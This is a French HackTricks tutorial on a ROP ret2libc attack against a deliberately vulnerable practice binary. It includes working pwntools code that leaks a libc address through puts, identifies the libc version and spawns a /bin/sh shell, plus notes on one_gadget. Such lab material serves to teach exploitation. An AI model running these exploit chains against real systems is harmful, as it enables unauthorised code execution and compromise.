.. | ||
README.md | ||
rop-leaking-libc-template.md |
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFT
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Résumé rapide
- Trouver l'offset de l'overflow
- Trouver les gadgets
POP_RDI
,PUTS_PLT
etMAIN_PLT
- Utiliser les gadgets précédents pour leaker l'adresse mémoire de puts ou d'une autre fonction libc et trouver la version de libc (téléchargez-la)
- Avec la bibliothèque, calculer le ROP et l'exploiter
Autres tutoriels et binaires pour s'entraîner
Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Autres tutoriels utiles : https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Code
Nom de fichier : vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Modèle de fuite de LIBC
Je vais utiliser le code situé ici pour créer l'exploit.
Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et donnez les données nécessaires au script:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- Trouver l'offset
Le modèle nécessite un offset avant de continuer avec l'exploit. Si aucun n'est fourni, il exécutera le code nécessaire pour le trouver (par défaut OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Exécutez python template.py
une console GDB sera ouverte avec le programme qui a planté. À l'intérieur de cette console GDB, exécutez x/wx $rsp
pour obtenir les octets qui allaient écraser le RIP. Enfin, obtenez le décalage en utilisant une console python :
from pwn import *
cyclic_find(0x6161616b)
Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.
OFFSET = "A" * 40
Une autre façon serait d'utiliser: pattern create 1000
-- exécuter jusqu'à ret -- pattern search $rsp
de GEF.
2- Trouver des gadgets
Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler puts
pour trouver la libc utilisée, et plus tard pour lancer l'exploit final.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
Le PUTS_PLT
est nécessaire pour appeler la fonction puts.
Le MAIN_PLT
est nécessaire pour appeler la fonction principale à nouveau après une interaction pour exploiter le débordement à nouveau (des tours d'exploitation infinis). Il est utilisé à la fin de chaque ROP pour appeler le programme à nouveau.
Le POP_RDI est nécessaire pour passer un paramètre à la fonction appelée.
À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution.
3- Trouver la bibliothèque LIBC
Maintenant, il est temps de trouver quelle version de la bibliothèque libc est utilisée. Pour ce faire, nous allons fuir l'adresse en mémoire de la fonction puts
et ensuite nous allons chercher dans quelle version de bibliothèque la version de puts est à cette adresse.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Pour ce faire, la ligne la plus importante du code exécuté est :
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Cela enverra quelques octets jusqu'à ce que l'écrasement du RIP soit possible : OFFSET
.
Ensuite, il définira l'adresse du gadget POP_RDI
de sorte que l'adresse suivante (FUNC_GOT
) sera enregistrée dans le registre RDI. Cela est dû au fait que nous voulons appeler puts en lui passant l'adresse de PUTS_GOT
comme adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par PUTS_GOT
.
Après cela, PUTS_PLT
sera appelé (avec PUTS_GOT
à l'intérieur de RDI) afin que puts lise le contenu à l'intérieur de PUTS_GOT
(l'adresse de la fonction puts en mémoire) et l'affiche.
Enfin, la fonction principale est appelée à nouveau afin que nous puissions exploiter à nouveau le débordement.
De cette façon, nous avons trompé la fonction puts pour qu'elle affiche l'adresse en mémoire de la fonction puts (qui se trouve dans la bibliothèque libc). Maintenant que nous avons cette adresse, nous pouvons rechercher quelle version de libc est utilisée.
Comme nous exploitons un binaire local, il n'est pas nécessaire de déterminer quelle version de libc est utilisée (il suffit de trouver la bibliothèque dans /lib/x86_64-linux-gnu/libc.so.6
).
Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :
3.1- Recherche de la version de libc (1)
Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : https://libc.blukat.me/
Cela vous permettra également de télécharger la version découverte de libc
3.2- Recherche de la version de libc (2)
Vous pouvez également faire :
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Cela prendra du temps, soyez patient.
Pour que cela fonctionne, nous avons besoin de :
- Nom du symbole libc :
puts
- Adresse libc divulguée :
0x7ff629878690
Nous pouvons déterminer quelle libc est la plus susceptible d'être utilisée.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Nous avons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première :
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Copiez la bibliothèque libc depuis libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
dans notre répertoire de travail.
3.3- Autres fonctions pour la fuite
puts
printf
__libc_start_main
read
gets
4- Trouver l'adresse de la bibliothèque libc et exploiter
À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, je vais utiliser simplement: /lib/x86_64-linux-gnu/libc.so.6
Ainsi, au début de template.py
, changez la variable libc en: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque connue
En donnant le chemin de la bibliothèque libc, le reste de l'exploit sera automatiquement calculé.
À l'intérieur de la fonction get_addr
, l'adresse de base de libc va être calculée:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} Notez que l'adresse finale de la base de libc doit se terminer par 00. Si ce n'est pas le cas, vous pourriez avoir divulgué une bibliothèque incorrecte. {% endhint %}
Ensuite, l'adresse de la fonction system
et l'adresse de la chaîne "/bin/sh" vont être calculées à partir de l'adresse de base de libc et de la bibliothèque libc donnée.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Finalement, l'exploit d'exécution /bin/sh va être préparé et envoyé:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Expliquons ce dernier ROP.
Le dernier ROP (rop1
) a fini par appeler à nouveau la fonction principale, donc nous pouvons exploiter à nouveau le débordement (c'est pourquoi l'OFFSET
est à nouveau présent). Ensuite, nous voulons appeler POP_RDI
en pointant vers l'adresse de "/bin/sh" (BINSH
) et appeler la fonction system (SYSTEM
) car l'adresse de "/bin/sh" sera transmise en tant que paramètre.
Enfin, l'adresse de la fonction exit est appelée pour que le processus se termine correctement et qu'aucune alerte ne soit générée.
De cette façon, l'exploit exécutera un shell _/bin/sh_.
4(2)- Utilisation de ONE_GADGET
Vous pouvez également utiliser ONE_GADGET pour obtenir un shell au lieu d'utiliser system et "/bin/sh". ONE_GADGET trouvera dans la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une adresse ROP.
Cependant, il y a généralement des contraintes, les plus courantes et faciles à éviter sont comme [rsp+0x30] == NULL
. Comme vous contrôlez les valeurs à l'intérieur du RSP, vous devez simplement envoyer des valeurs NULL supplémentaires pour éviter la contrainte.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
FICHIER D'EXPLOITATION
Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Problèmes courants
MAIN_PLT = elf.symbols['main'] introuvable
Si le symbole "main" n'existe pas, vous pouvez simplement chercher où se trouve le code principal :
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
et définir l'adresse manuellement:
MAIN_PLT = 0x401080
Puts introuvable
Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise
sh: 1: %s%s%s%s%s%s%s%s: not found
Si vous trouvez cette erreur après avoir créé tous les exploits: sh: 1: %s%s%s%s%s%s%s%s: not found
Essayez de soustraire 64 octets à l'adresse de "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.